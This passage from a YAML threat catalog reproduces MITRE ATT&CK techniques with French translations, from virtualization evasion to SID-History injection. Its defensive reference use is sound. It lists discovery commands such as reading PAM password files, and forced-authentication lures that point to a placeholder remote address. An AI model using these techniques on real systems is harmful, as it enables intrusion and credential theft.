          \ \xE0 l\u2019aide d\u2019une instance virtuelle pour \xE9viter d\u2019\xEA\
          tre d\xE9tect\xE9s. Il existe une grande vari\xE9t\xE9 de technologies de\
          \ virtualisation qui permettent l\u2019\xE9mulation d\u2019un ordinateur\
          \ ou d\u2019un environnement informatique. En ex\xE9cutant un code malveillant\
          \ \xE0 l\u2019int\xE9rieur d\u2019une instance virtuelle, les adversaires\
          \ peuvent masquer les artefacts associ\xE9s \xE0 leur comportement aux outils\
          \ de s\xE9curit\xE9 qui ne sont pas en mesure de surveiller l\u2019activit\xE9\
          \ \xE0 l\u2019int\xE9rieur de l\u2019instance virtuelle. De plus, selon\
          \ l\u2019impl\xE9mentation de la mise en r\xE9seau virtuelle (par exemple,\
          \ un adaptateur pont\xE9), il peut \xEAtre difficile de retracer le trafic\
          \ r\xE9seau g\xE9n\xE9r\xE9 par l\u2019instance virtuelle jusqu\u2019\xE0\
          \ l\u2019h\xF4te compromis, car l\u2019adresse IP et le nom d\u2019h\xF4\
          te peuvent ne pas correspondre aux valeurs connues. (Citation : SingHealth\
          \ Breach janvier 2019)\n\nLes adversaires peuvent utiliser la prise en charge\
          \ native de la virtualisation (par exemple, Hyper-V) ou d\xE9poser les fichiers\
          \ n\xE9cessaires \xE0 l\u2019ex\xE9cution d\u2019une instance virtuelle\
          \ (par exemple, les binaires VirtualBox). Apr\xE8s l\u2019ex\xE9cution d\u2019\
          une instance virtuelle, les adversaires peuvent cr\xE9er un dossier partag\xE9\
          \ entre l\u2019invit\xE9 et l\u2019h\xF4te avec des autorisations qui permettent\
          \ \xE0 l\u2019instance virtuelle d\u2019interagir avec le syst\xE8me de\
          \ fichiers de l\u2019h\xF4te. (Citation : Sophos Ragnar mai 2020)\nhttps://attack.mitre.org/techniques/T1564/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.014
    ref_id: T1027.014
    name: Polymorphic Code
    description: "Adversaries may utilize polymorphic code (also known as metamorphic\
      \ or mutating code) to evade detection. Polymorphic code is a type of software\
      \ capable of changing its runtime footprint during code execution.(Citation:\
      \ polymorphic-blackberry) With each execution of the software, the code is mutated\
      \ into a different version of itself that achieves the same purpose or objective\
      \ as the original. This functionality enables the malware to evade traditional\
      \ signature-based defenses, such as antivirus and antimalware tools.(Citation:\
      \ polymorphic-sentinelone) \nOther obfuscation techniques can be used in conjunction\
      \ with polymorphic code to accomplish the intended effects, including using\
      \ mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002),\
      \ [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded\
      \ File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation:\
      \ polymorphic-medium)\nhttps://attack.mitre.org/techniques/T1027/014"
    translations:
      fr:
        name: Code polymorphe
        description: "Les adversaires peuvent utiliser du code polymorphe (\xE9galement\
          \ appel\xE9 code m\xE9tamorphique ou mutant) pour \xE9chapper \xE0 la d\xE9\
          tection. Le code polymorphe est un type de logiciel capable de modifier\
          \ son empreinte d\u2019ex\xE9cution lors de l\u2019ex\xE9cution du code.\
          \ (Citation : polymorphe-m\xFBre) \xC0 chaque ex\xE9cution du logiciel,\
          \ le code est mut\xE9 en une version diff\xE9rente de lui-m\xEAme qui atteint\
          \ le m\xEAme but ou objectif que l\u2019original. Cette fonctionnalit\xE9\
          \ permet au logiciel malveillant d\u2019\xE9chapper aux d\xE9fenses traditionnelles\
          \ bas\xE9es sur les signatures, telles que les outils antivirus et anti-programme\
          \ malveillant. (Citation : polymorphe-sentinelone) \nD\u2019autres techniques\
          \ d\u2019obfuscation peuvent \xEAtre utilis\xE9es conjointement avec du\
          \ code polymorphe pour obtenir les effets escompt\xE9s, notamment l\u2019\
          utilisation de moteurs de mutation pour effectuer des actions telles que\
          \ [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command\
          \ Obfuscation](https://attack.mitre.org/techniques/T1027/010) ou [Encrypted/Encoded\
          \ File](https://attack.mitre.org/techniques/T1027/013). (Citation : polymorphic-linkedin)(Citation\
          \ : polymorphe-medium)\nhttps://attack.mitre.org/techniques/T1027/014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1201
    ref_id: T1201
    name: Password Policy Discovery
    description: 'Adversaries may attempt to access detailed information about the
      password policy used within an enterprise network or cloud environment. Password
      policies are a way to enforce complex passwords that are difficult to guess
      or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This
      information may help the adversary to create a list of common passwords and
      launch dictionary and/or brute force attacks which adheres to the policy (e.g.
      if the minimum password length should be 8, then not trying passwords such as
      ''pass123''; not checking for more than 3-4 passwords per account if the lockout
      is set to 6 as to not lock out accounts).


      Password policies can be set and discovered on Windows, Linux, and macOS systems
      via various command shell utilities such as <code>net accounts (/domain)</code>,
      <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>,
      <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>
      (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password
      Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      on network devices to discover password policy information (e.g. <code>show
      aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)


      Password policies can be discovered in cloud environments using available APIs
      such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).

      https://attack.mitre.org/techniques/T1201'
    translations:
      fr:
        name: "D\xE9couverte de la politique de mot de passe"
        description: "Les adversaires peuvent tenter d\u2019acc\xE9der \xE0 des informations\
          \ d\xE9taill\xE9es sur la politique de mot de passe utilis\xE9e dans un\
          \ r\xE9seau d\u2019entreprise ou un environnement cloud. Les politiques\
          \ de mot de passe sont un moyen d\u2019imposer des mots de passe complexes\
          \ difficiles \xE0 deviner ou \xE0 d\xE9chiffrer par [force brute](https://attack.mitre.org/techniques/T1110).\
          \ Ces informations peuvent aider l\u2019adversaire \xE0 cr\xE9er une liste\
          \ de mots de passe courants et \xE0 lancer des attaques par dictionnaire\
          \ et/ou par force brute qui adh\xE8rent \xE0 la politique (par exemple,\
          \ si la longueur minimale du mot de passe doit \xEAtre de 8, ne pas essayer\
          \ de mots de passe tels que \xAB pass123 \xBB ; ne pas v\xE9rifier plus\
          \ de 3 ou 4 mots de passe par compte si le verrouillage est d\xE9fini \xE0\
          \ 6 pour ne pas verrouiller les comptes).\n\nLes politiques de mot de passe\
          \ peuvent \xEAtre d\xE9finies et d\xE9couvertes sur les syst\xE8mes Windows,\
          \ Linux et macOS via divers utilitaires de commande shell tels que <code>net\
          \ accounts (/domain),</code> <code>Get-ADDefaultDomainPasswordPolicy</code>,\
          \ <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>\
          \ et <code>pwpolicy getaccountpolicies</code> (Citation : Politiques de\
          \ mot de passe Linux Superuser) (R\xE9f\xE9rence : Politiques de mot de\
          \ passe utilisateur Jamf). Les adversaires peuvent \xE9galement exploiter\
          \ une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour d\xE9couvrir des informations\
          \ sur la politique de mot de passe (par exemple, <code>show aaa</code>,\
          \ <code>show aaa common-criteria policy all</code>). (R\xE9f\xE9rence :\
          \ US-CERT-TA18-106A)\n\nLes politiques de mot de passe peuvent \xEAtre d\xE9\
          couvertes dans les environnements cloud \xE0 l\u2019aide d\u2019API disponibles\
          \ telles que <code>GetAccountPasswordPolicy</code> dans AWS (R\xE9f\xE9\
          rence : AWS GetPasswordPolicy).\nhttps://attack.mitre.org/techniques/T1201"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546
    ref_id: T1546
    name: Event Triggered Execution
    description: 'Adversaries may establish persistence and/or elevate privileges
      using system mechanisms that trigger execution based on specific events. Various
      operating systems have means to monitor and subscribe to events such as logons
      or other user activity such as running specific applications/binaries. Cloud
      environments may also support various functions and services that monitor and
      can be invoked in response to specific cloud events.(Citation: Backdooring an
      AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft
      DART Case Report 001)


      Adversaries may abuse these mechanisms as a means of maintaining persistent
      access to a victim via repeatedly executing malicious code. After gaining access
      to a victim system, adversaries may create/modify event triggers to point to
      malicious content that will be executed whenever the event trigger is invoked.(Citation:
      FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)


      Since the execution can be proxied by an account with higher permissions, such
      as SYSTEM or service accounts, an adversary may be able to abuse these triggered
      execution mechanisms to escalate their privileges.

      https://attack.mitre.org/techniques/T1546'
    translations:
      fr:
        name: "Ex\xE9cution d\xE9clench\xE9e par un \xE9v\xE9nement"
        description: "Les adversaires peuvent \xE9tablir une persistance et/ou \xE9\
          lever des privil\xE8ges \xE0 l\u2019aide de m\xE9canismes syst\xE8me qui\
          \ d\xE9clenchent l\u2019ex\xE9cution en fonction d\u2019\xE9v\xE9nements\
          \ sp\xE9cifiques. Divers syst\xE8mes d\u2019exploitation permettent de surveiller\
          \ et de s\u2019abonner \xE0 des \xE9v\xE9nements tels que les ouvertures\
          \ de session ou d\u2019autres activit\xE9s de l\u2019utilisateur, telles\
          \ que l\u2019ex\xE9cution d\u2019applications/binaires sp\xE9cifiques. Les\
          \ environnements cloud peuvent \xE9galement prendre en charge diverses fonctions\
          \ et services qui surveillent et peuvent \xEAtre invoqu\xE9s en r\xE9ponse\
          \ \xE0 des \xE9v\xE9nements cloud sp\xE9cifiques. (Citation : Porte d\xE9\
          rob\xE9e d\u2019un compte AWS)(citation : Varonis Power Automate Data Exfiltration)(R\xE9\
          f\xE9rence : Rapport de cas Microsoft DART 001)\n\nLes adversaires peuvent\
          \ abuser de ces m\xE9canismes pour maintenir un acc\xE8s persistant \xE0\
          \ une victime en ex\xE9cutant \xE0 plusieurs reprises un code malveillant.\
          \ Apr\xE8s avoir acc\xE9d\xE9 au syst\xE8me d\u2019une victime, les adversaires\
          \ peuvent cr\xE9er/modifier des d\xE9clencheurs d\u2019\xE9v\xE9nements\
          \ pour pointer vers du contenu malveillant qui sera ex\xE9cut\xE9 chaque\
          \ fois que le d\xE9clencheur d\u2019\xE9v\xE9nement est appel\xE9. (R\xE9\
          f\xE9rence : FireEye WMI 2015)(Citation : Persistance des logiciels malveillants\
          \ sur OS X)(Citation : logiciel malveillant d\u2019amn\xE9sie)\n\n\xC9tant\
          \ donn\xE9 que l\u2019ex\xE9cution peut \xEAtre procur\xE9e par un compte\
          \ disposant d\u2019autorisations plus \xE9lev\xE9es, tel que des comptes\
          \ SYSTEM ou de service, un adversaire peut \xEAtre en mesure d\u2019abuser\
          \ de ces m\xE9canismes d\u2019ex\xE9cution d\xE9clench\xE9s pour \xE9lever\
          \ ses privil\xE8ges.\nhttps://attack.mitre.org/techniques/T1546"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.004
    ref_id: T1546.004
    name: Unix Shell Configuration Modification
    description: "Adversaries may establish persistence through executing malicious\
      \ commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s\
      \ execute several configuration scripts at different points throughout the session\
      \ based on events. For example, when a user opens a command-line interface or\
      \ remotely logs in (such as via SSH) a login shell is initiated. The login shell\
      \ executes scripts from the system (<code>/etc</code>) and the user\u2019s home\
      \ directory (<code>~/</code>) to configure the environment. All login shells\
      \ on a system use /etc/profile when initiated. These configuration scripts run\
      \ at the permission level of their directory and are often used to set environment\
      \ variables, create aliases, and customize the user\u2019s environment. When\
      \ the shell exits or terminates, additional shell scripts are executed to ensure\
      \ the shell exits appropriately. \n\nAdversaries may attempt to establish persistence\
      \ by inserting commands into scripts automatically executed by shells. Using\
      \ bash as an example, the default shell for most GNU/Linux systems, adversaries\
      \ may add commands that launch malicious binaries into the <code>/etc/profile</code>\
      \ and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation:\
      \ bencane blog bashrc) These files typically require root permissions to modify\
      \ and are executed each time any shell on a system launches. For user level\
      \ permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>,\
      \ <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when\
      \ a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation:\
      \ Linux manual bash invocation) Since the system only executes the first existing\
      \ file in the listed order, adversaries have used <code>~/.bash_profile</code>\
      \ to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code>\
      \ file which is additionally executed if the connection is established remotely\
      \ or an additional interactive shell is opened, such as a new tab in the command-line\
      \ interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation:\
      \ Magento) Some malware targets the termination of a program to trigger execution,\
      \ adversaries can use the <code>~/.bash_logout</code> file to execute malicious\
      \ commands at the end of a session. \n\nFor macOS, the functionality of this\
      \ technique is similar but may leverage zsh, the default shell for macOS 10.15+.\
      \ When the Terminal.app is opened, the application launches a zsh login shell\
      \ and a zsh interactive shell. The login shell configures the system environment\
      \ using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,\
      \ and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:\
      \ code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login\
      \ shell then configures the user environment with <code>~/.zprofile</code> and\
      \ <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code>\
      \ to configure the user environment. Upon exiting, <code>/etc/zlogout</code>\
      \ and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes\
      \ <code>/etc/bashrc</code> on startup.\nhttps://attack.mitre.org/techniques/T1546/004"
    translations:
      fr:
        name: Unix Shell Configuration Modification
        description: "Les adversaires peuvent \xE9tablir une persistance en ex\xE9\
          cutant des commandes malveillantes d\xE9clench\xE9es par le shell d'un utilisateur.\
          \ Les utilisateurs [Unix Shell] (https://attack.mitre.org/techniques/T1059/004)\
          \ ex\xE9cutent plusieurs scripts de configuration \xE0 diff\xE9rents moments\
          \ de la session en fonction des \xE9v\xE9nements. Par exemple, lorsqu'un\
          \ utilisateur ouvre une interface de ligne de commande ou se connecte \xE0\
          \ distance (via SSH, par exemple), un shell de connexion est lanc\xE9. L'interpr\xE9\
          teur de commandes de connexion ex\xE9cute des scripts du syst\xE8me (<code>/etc</code>)\
          \ et du r\xE9pertoire personnel de l'utilisateur (<code>~/</code>) pour\
          \ configurer l'environnement. Tous les shells de connexion d'un syst\xE8\
          me utilisent /etc/profile lorsqu'ils sont lanc\xE9s. Ces scripts de configuration\
          \ s'ex\xE9cutent au niveau de permission de leur r\xE9pertoire et sont souvent\
          \ utilis\xE9s pour d\xE9finir des variables d'environnement, cr\xE9er des\
          \ alias et personnaliser l'environnement de l'utilisateur. Lorsque l'interpr\xE9\
          teur de commandes quitte ou se termine, d'autres scripts sont ex\xE9cut\xE9\
          s pour s'assurer que l'interpr\xE9teur de commandes quitte correctement\
          \ le syst\xE8me.\n\nLes adversaires peuvent tenter d'\xE9tablir la persistance\
          \ en ins\xE9rant des commandes dans les scripts ex\xE9cut\xE9s automatiquement\
          \ par les interpr\xE9teurs de commandes. En prenant l'exemple de bash, l'interpr\xE9\
          teur de commandes par d\xE9faut de la plupart des syst\xE8mes GNU/Linux,\
          \ les adversaires peuvent ajouter des commandes qui lancent des binaires\
          \ malveillants dans les fichiers /etc/profile et /etc/profile.d(Citation\
          \ : intezer-kaiji-malware)(Citation : bencane blog bashrc)Ces fichiers n\xE9\
          cessitent g\xE9n\xE9ralement les autorisations de l'administrateur pour\
          \ \xEAtre modifi\xE9s et sont ex\xE9cut\xE9s \xE0 chaque fois qu'un interpr\xE9\
          teur de commandes est lanc\xE9 sur un syst\xE8me. Pour les autorisations\
          \ de niveau utilisateur, les adversaires peuvent ins\xE9rer des commandes\
          \ malveillantes dans~/.bash_profile, ~/.bash_login, ou ~/.profile qui sont\
          \ recherch\xE9es lorsqu'un utilisateur ouvre une interface de ligne de commande\
          \ ou se connecte \xE0 distance.(Citation : anomali-rocke-tactics)(Citation\
          \ : Linux manual bash invocation) \xC9tant donn\xE9 que le syst\xE8me n'ex\xE9\
          cute que le premier fichier existant dans l'ordre de la liste, les adversaires\
          \ ont utilis\xE9 ~/.bash_profile pour garantir l'ex\xE9cution. Ils ont \xE9\
          galement exploit\xE9 le fichier ~/.bashrc qui est ex\xE9cut\xE9 en plus\
          \ si la connexion est \xE9tablie \xE0 distance ou si un shell interactif\
          \ suppl\xE9mentaire est ouvert, comme un nouvel onglet dans l'interface\
          \ de ligne de commande. (Citation : Tsunami)(Citation : anomali-rocke-tactics)(Citation\
          \ : anomali-linux-rabbit)(Citation : Magento) Certains logiciels malveillants\
          \ ciblent la fin d'un programme pour en d\xE9clencher l'ex\xE9cution, les\
          \ adversaires peuvent utiliser le fichier ~/.bash_logout pour ex\xE9cuter\
          \ des commandes malveillantes \xE0 la fin d'une session.\n\nPour macOS,\
          \ la fonctionnalit\xE9 de cette technique est similaire mais peut s'appuyer\
          \ sur zsh, l'interpr\xE9teur de commandes par d\xE9faut de macOS 10.15+.\
          \ Lorsque Terminal.app est ouvert, l'application lance un shell de connexion\
          \ zsh et un shell interactif zsh. Le shell de connexion configure l'environnement\
          \ syst\xE8me \xE0 l'aide de <code>/etc/profile</code>, <code>/etc/zshenv</code>,\
          \ <code>/etc/zprofile</code>, et <code>/etc/zlogin</code>. (Citation : ScriptingOSX\
          \ zsh)(Citation : PersistentJXA_leopitt)(Citation : code_persistence_zsh)(Citation\
          \ : macOS MS office sandbox escape) L'interpr\xE9teur de commandes configure\
          \ ensuite l'environnement utilisateur avec <code>~/.zprofile</code> et <code>~/.zlogin</code>.\
          \ L'interpr\xE9teur de commandes interactif utilise le <code>~/.zshrc</code>\
          \ pour configurer l'environnement utilisateur. \xC0 la sortie, <code>/etc/zlogout</code>\
          \ et <code>~/.zlogout</code> sont ex\xE9cut\xE9s. Pour les anciens programmes,\
          \ macOS ex\xE9cute <code>/etc/bashrc</code> au d\xE9marrage.\nhttps://attack.mitre.org/techniques/T1546/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1187
    ref_id: T1187
    name: Forced Authentication
    description: 'Adversaries may gather credential material by invoking or forcing
      a user to automatically provide authentication information through a mechanism
      in which they can intercept.


      The Server Message Block (SMB) protocol is commonly used in Windows networks
      for authentication and communication between systems for access to resources
      and file sharing. When a Windows system attempts to connect to an SMB resource
      it will automatically attempt to authenticate and send credential information
      for the current user to the remote system. (Citation: Wikipedia Server Message
      Block) This behavior is typical in enterprise environments so that users do
      not need to enter credentials to access network resources.


      Web Distributed Authoring and Versioning (WebDAV) is also typically used by
      Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is
      an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation:
      Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)


      Adversaries may take advantage of this behavior to gain access to user account
      hashes through forced SMB/WebDAV authentication. An adversary can send an attachment
      to a user through spearphishing that contains a resource link to an external
      server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)),
      or place a specially crafted file on navigation path for privileged accounts
      (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed
      by victim(s). When the user''s system accesses the untrusted resource it will
      attempt authentication and send information, including the user''s hashed credentials,
      over SMB to the adversary controlled server. (Citation: GitHub Hashjacking)
      With access to the credential hash, an adversary can perform off-line [Brute
      Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to
      plaintext credentials. (Citation: Cylance Redirect to SMB)


      There are several different ways this can occur. (Citation: Osanda Stealing
      NetNTLM Hashes) Some specifics from in-the-wild use include:


      * A spearphishing attachment containing a document with a resource that is automatically
      loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)).
      The document can include, for example, a request similar to <code>file[:]//[remote
      address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT
      Energy Oct 2017)

      * A modified .LNK or .SCF file with the icon filename pointing to an external
      reference such as <code>\\[remote address]\pic.png</code> that will force the
      system to load the resource when the icon is rendered to repeatedly gather credentials.
      (Citation: US-CERT APT Energy Oct 2017)

      https://attack.mitre.org/techniques/T1187'
    translations:
      fr:
        name: "Authentification forc\xE9e"
        description: "Les adversaires peuvent collecter des informations d\u2019identification\
          \ en invoquant ou en for\xE7ant un utilisateur \xE0 fournir automatiquement\
          \ des informations d\u2019authentification par le biais d\u2019un m\xE9\
          canisme qu\u2019ils peuvent intercepter.\n\nLe protocole SMB (Server Message\
          \ Block) est couramment utilis\xE9 dans les r\xE9seaux Windows pour l\u2019\
          authentification et la communication entre les syst\xE8mes pour l\u2019\
          acc\xE8s aux ressources et le partage de fichiers. Lorsqu\u2019un syst\xE8\
          me Windows tente de se connecter \xE0 une ressource SMB, il tente automatiquement\
          \ de s\u2019authentifier et d\u2019envoyer les informations d\u2019identification\
          \ de l\u2019utilisateur actuel au syst\xE8me distant. (citation : Blocage\
          \ des messages du serveur Wikip\xE9dia) Ce comportement est typique dans\
          \ les environnements d\u2019entreprise, de sorte que les utilisateurs n\u2019\
          ont pas besoin d\u2019entrer d\u2019informations d\u2019identification pour\
          \ acc\xE9der aux ressources r\xE9seau.\n\nWebDAV (Web Distributed Authoring\
          \ and Versioning) est \xE9galement g\xE9n\xE9ralement utilis\xE9 par les\
          \ syst\xE8mes Windows comme protocole de sauvegarde lorsque SMB est bloqu\xE9\
          \ ou \xE9choue. WebDAV est une extension de HTTP et fonctionne g\xE9n\xE9\
          ralement sur les ports TCP 80 et 443. (Citation : Didier Stevens WebDAV\
          \ Traffic) (Citation : Microsoft g\xE8re la s\xE9curit\xE9 WebDAV)\n\nLes\
          \ adversaires peuvent tirer parti de ce comportement pour acc\xE9der aux\
          \ hachages de compte utilisateur via l\u2019authentification forc\xE9e SMB/WebDAV.\
          \ Un adversaire peut envoyer une pi\xE8ce jointe \xE0 un utilisateur par\
          \ le biais du spearphishing qui contient un lien de ressource vers un serveur\
          \ externe contr\xF4l\xE9 par l\u2019adversaire (c\u2019est-\xE0-dire [Template\
          \ Injection](https://attack.mitre.org/techniques/T1221)), ou placer un fichier\
          \ sp\xE9cialement con\xE7u sur le chemin de navigation pour les comptes\
          \ privil\xE9gi\xE9s (par exemple. SCF plac\xE9 sur le bureau) ou sur un\
          \ partage accessible au public pour \xEAtre accessible par la ou les victimes.\
          \ Lorsque le syst\xE8me de l\u2019utilisateur acc\xE8de \xE0 la ressource\
          \ non approuv\xE9e, il tente de s\u2019authentifier et envoie des informations,\
          \ y compris les informations d\u2019identification hach\xE9es de l\u2019\
          utilisateur, via SMB au serveur contr\xF4l\xE9 par l\u2019adversaire. (Citation\
          \ : GitHub Hashjacking) En acc\xE9dant au hachage des informations d\u2019\
          identification, un adversaire peut effectuer un craquage hors ligne [Brute\
          \ Force](https://attack.mitre.org/techniques/T1110) pour acc\xE9der aux\
          \ informations d\u2019identification en texte brut. (Citation : Cylance\
          \ Rediriger vers SMB)\n\nCela peut se produire de plusieurs mani\xE8res.\
          \ (Citation : Osanda vole des hachages NetNTLM) Voici quelques sp\xE9cificit\xE9\
          s de l\u2019utilisation dans la nature :\n\n* Une pi\xE8ce jointe de spearphishing\
          \ contenant un document avec une ressource qui est automatiquement charg\xE9\
          e lors de l\u2019ouverture du document (c\u2019est-\xE0-dire [Template Injection](https://attack.mitre.org/techniques/T1221)).\
          \ Le document peut inclure, par exemple, une requ\xEAte similaire \xE0 <code>file[\_\
          :]//[remote address]/Normal.dotm</code> pour d\xE9clencher la requ\xEAte\
          \ SMB. (Citation : US-CERT APT Energy Oct 2017)\n* A modifi\xE9 . LNK ou\
          \ . SCF avec l\u2019ic\xF4ne nom de fichier pointant vers une r\xE9f\xE9\
          rence externe telle que <code>\\\\[adresse distante]\\pic.png</code> qui\
          \ forcera le syst\xE8me \xE0 charger la ressource lorsque l\u2019ic\xF4\
          ne est affich\xE9e pour collecter \xE0 plusieurs reprises les informations\
          \ d\u2019identification. (Citation : US-CERT APT Energy Oct 2017)\nhttps://attack.mitre.org/techniques/T1187"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1134.005
    ref_id: T1134.005
    name: SID-History Injection
    description: 'Adversaries may use SID-History Injection to escalate privileges
      and bypass access controls. The Windows security identifier (SID) is a unique
      value that identifies a user or group account. SIDs are used by Windows security
      in both security descriptors and access tokens. (Citation: Microsoft SID) An
      account can hold additional SIDs in the SID-History Active Directory attribute
      (Citation: Microsoft SID-History Attribute), allowing inter-operable account
      migration between domains (e.g., all values in SID-History are included in access
      tokens).


      With Domain Administrator (or equivalent) rights, harvested or well-known SID
      values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History
      to enable impersonation of arbitrary users/groups such as Enterprise Administrators.
      This manipulation may result in elevated access to local resources and/or access
      to otherwise inaccessible domains via lateral movement techniques such as [Remote
      Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002),
      or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).

      https://attack.mitre.org/techniques/T1134/005'
    translations:
      fr:
        name: "Injection d\u2019historique SID"
        description: "Les adversaires peuvent utiliser l\u2019injection d\u2019historique\
          \ SID pour \xE9lever les privil\xE8ges et contourner les contr\xF4les d\u2019\
          acc\xE8s. L\u2019identificateur de s\xE9curit\xE9 Windows (SID) est une\
          \ valeur unique qui identifie un compte d\u2019utilisateur ou de groupe.\
          \ Les SID sont utilis\xE9s par la s\xE9curit\xE9 Windows \xE0 la fois dans\
          \ les descripteurs de s\xE9curit\xE9 et les jetons d\u2019acc\xE8s. (Citation\
          \ : Microsoft SID) Un compte peut contenir des SID suppl\xE9mentaires dans\
          \ l\u2019attribut Active Directory SID-History (Citation : Microsoft SID-History\
          \ Attribute), ce qui permet une migration de compte interop\xE9rable entre\
          \ les domaines (par exemple, toutes les valeurs de SID-History sont incluses\
          \ dans les jetons d\u2019acc\xE8s).\n\nAvec des droits d\u2019administrateur\
          \ de domaine (ou \xE9quivalents), les valeurs SID r\xE9colt\xE9es ou bien\
          \ connues (Citation : Microsoft Well Known SIDs juin 2017) peuvent \xEA\
          tre ins\xE9r\xE9es dans l\u2019historique SID pour permettre l\u2019emprunt\
          \ d\u2019identit\xE9 d\u2019utilisateurs/groupes arbitraires tels que les\
          \ administrateurs d\u2019entreprise. Cette manipulation peut entra\xEEner\
          \ un acc\xE8s \xE9lev\xE9 aux ressources locales et/ou \xE0 des domaines\
          \ autrement inaccessibles via des techniques de d\xE9placement lat\xE9ral\
          \ telles que [Services \xE0 distance](https://attack.mitre.org/techniques/T1021),\
          \ [Partages SMB/Windows Admin](https://attack.mitre.org/techniques/T1021/002)\
          \ ou [Gestion \xE0 distance Windows](https://attack.mitre.org/techniques/T1021/006).\n\
          https://attack.mitre.org/techniques/T1134/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1599
    ref_id: T1599
    name: Network Boundary Bridging
    description: 'Adversaries may bridge network boundaries by compromising perimeter
      network devices or internal devices responsible for network segmentation. Breaching
      these devices may enable an adversary to bypass restrictions on traffic routing
      that otherwise separate trusted and untrusted networks.


      Devices such as routers and firewalls can be used to create boundaries between
      trusted and untrusted networks.  They achieve this by restricting traffic types
      to enforce organizational policy in an attempt to reduce the risk inherent in
      such connections.  Restriction of traffic can be achieved by prohibiting IP
      addresses, layer 4 protocol ports, or through deep packet inspection to identify
      applications.  To participate with the rest of the network, these devices can
      be directly addressable or transparent, but their mode of operation has no bearing
      on how the adversary can bypass them when compromised.


      When an adversary takes control of such a boundary device, they can bypass its
      policy enforcement to pass normally prohibited traffic across the trust boundary
      between the two separated networks without hinderance.  By achieving sufficient
      rights on the device, an adversary can reconfigure the device to allow the traffic
      they want, allowing them to then further achieve goals such as command and control
      via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration
      of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001).
      Adversaries may also target internal devices responsible for network segmentation
      and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001)
      to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)  In the
      cases where a border device separates two separate organizations, the adversary
      can also facilitate lateral movement into new victim environments.

      https://attack.mitre.org/techniques/T1599'
    translations:
      fr:
        name: "Franchissement des limites du r\xE9seau"
        description: "Les adversaires peuvent franchir les limites du r\xE9seau en\
          \ compromettant les p\xE9riph\xE9riques r\xE9seau de p\xE9rim\xE8tre ou\
          \ les p\xE9riph\xE9riques internes responsables de la segmentation du r\xE9\
          seau. La violation de ces appareils peut permettre \xE0 un adversaire de\
          \ contourner les restrictions sur le routage du trafic qui s\xE9parent autrement\
          \ les r\xE9seaux approuv\xE9s et non approuv\xE9s.\n\nDes p\xE9riph\xE9\
          riques tels que des routeurs et des pare-feu peuvent \xEAtre utilis\xE9\
          s pour cr\xE9er des limites entre les r\xE9seaux approuv\xE9s et non approuv\xE9\
          s.  Pour ce faire, ils restreignent les types de trafic afin d\u2019appliquer\
          \ la politique organisationnelle afin de r\xE9duire le risque inh\xE9rent\
          \ \xE0 de telles connexions.  La restriction du trafic peut \xEAtre obtenue\
          \ en interdisant les adresses IP, les ports de protocole de couche 4 ou\
          \ par une inspection approfondie des paquets pour identifier les applications.\
          \  Pour participer avec le reste du r\xE9seau, ces appareils peuvent \xEA\
          tre directement adressables ou transparents, mais leur mode de fonctionnement\
          \ n\u2019a aucune incidence sur la fa\xE7on dont l\u2019adversaire peut\
          \ les contourner lorsqu\u2019ils sont compromis.\n\nLorsqu\u2019un adversaire\
          \ prend le contr\xF4le d\u2019un tel p\xE9riph\xE9rique de fronti\xE8re,\
          \ il peut contourner l\u2019application de sa politique pour faire passer\
